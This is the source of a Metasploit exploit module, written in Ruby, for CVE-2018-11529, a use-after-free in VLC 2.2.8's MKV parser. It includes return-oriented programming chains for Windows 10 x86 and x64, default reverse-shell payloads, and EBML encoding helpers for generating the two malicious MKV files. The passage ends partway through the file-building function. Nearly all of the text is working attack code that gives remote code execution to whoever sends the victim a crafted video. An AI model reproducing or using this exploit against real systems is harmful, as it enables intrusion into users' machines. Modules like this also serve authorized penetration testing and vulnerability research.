## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit Rank = GreatRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'VLC Media Player MKV Use After Free', 'Description' => %q( This module exploits a use after free vulnerability in VideoLAN VLC =< 2.2.8. The vulnerability exists in the parsing of MKV files and affects both 32 bits and 64 bits. In order to exploit this, this module will generate two files: The first .mkv file contains the main vulnerability and heap spray, the second .mkv file is required in order to take the vulnerable code path and should be placed under the same directory as the .mkv file. This module has been tested against VLC v2.2.8. Tested with payloads windows/exec, windows/x64/exec, windows/shell/reverse_tcp, windows/x64/shell/reverse_tcp. Meterpreter payloads if used can cause the application to crash instead. ), 'License' => MSF_LICENSE, 'Author' => [ 'Eugene Ng - GovTech', # Vulnerability Discovery, Exploit 'Winston Ho - GovTech', # Metasploit Module ], 'References' => [ ['CVE', '2018-11529'], ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11529'], ['EDB', '44979'] ], 'Payload' => { 'Space' => 0x300, 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ [ 'VLC 2.2.8 on Windows 10 x86', { 'Platform' => 'win', 'Arch' => [ARCH_X86], 'Ret' => 0x22000020, 'ExitPointer' => 0x00411364, 'DefaultOptions' => {'PAYLOAD' => 'windows/shell/reverse_tcp'}, 'RopChain' => [ 0x0040ae91, # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET 0x00407086, # POP EDI # RETN [vlc.exe] 0x00000040, # 0x00000040-> edx 0x0040b058, # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe] 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x004039c7, # POP EAX # POP ECX # RETN [vlc.exe] 0x22000030, # Filler (compensate) for rol [eax] below 0x41414141, # Filler (compensate) 0x004039c8, # POP ECX # RETN [vlc.exe] 0x0041193d, # &Writable location [vlc.exe] 0x00409d18, # POP EBX # RETN [vlc.exe] 0x00000201, # 0x00000201-> ebx 0x0040a623, # POP EBP # RETN [vlc.exe] 0x0040a623, # POP EBP # RETN [vlc.exe] 0x004036CB, # POP ESI # RETN [vlc.exe] 0x0040848c, # JMP ds:[EAX * 4 + 40e000] [vlc.exe] 0x00407086, # POP EDI # RETN [vlc.exe] 0x0040ae95, # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe] 0x0040af61, # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8) 0x22000020 + 0x5e0, # Shellcode ] } ], [ 'VLC 2.2.8 on Windows 10 x64', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'Ret' => 0x40000040, 'ExitPointer' => 0x00412680, 'DefaultOptions' => {'PAYLOAD' => 'windows/x64/shell/reverse_tcp'}, 'RopChain' => [ 0x004037ac, # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 (00000000`004037C0) # XOR EAX,EAX # RET 0x00403b60, # POP RCX # RET 0x40000040, # lpAddress 0x004011c2, # POP RDX # RET 0x00001000, # dwSize 0x0040ab70, # JMP VirtualProtect 0x40000040 + 0x700, # Payload ] } ] ], 'Privileged' => false, 'DisclosureDate' => 'May 24 2018', 'DefaultTarget' => 1)) register_options [ OptString.new('MKV_ONE', [false, 'mkv that should be opened', '']), OptString.new('MKV_TWO', [false, 'The auxiliary file name.', '']) ] deregister_options('FILENAME') end def to_bytes(num, length, endianess = 'big') h = format('%x', num: num) s = ('0' * (h.length % 2) + h).rjust(length * 2) s = s.scan(/.{2}/).map! { |x| x.hex.chr }.join endianess == 'big' ? s : s.reverse end def data_size(number, numbytes = (1...9)) # encode 'number' as an EBML variable-size integer. numbytes = [numbytes] if numbytes.is_a?(Integer) numbytes.each do |size| bits = size * 7 return to_bytes(((1 << bits) + number), size) if number <= (1 << bits) - 2 end fail_with(Failure::BadConfig, "Can't store #{number} in #{size} bytes") end def build_data(size) block_size = 0x1000 if target.arch.first == ARCH_X64 target_address_packed = [target.ret].pack("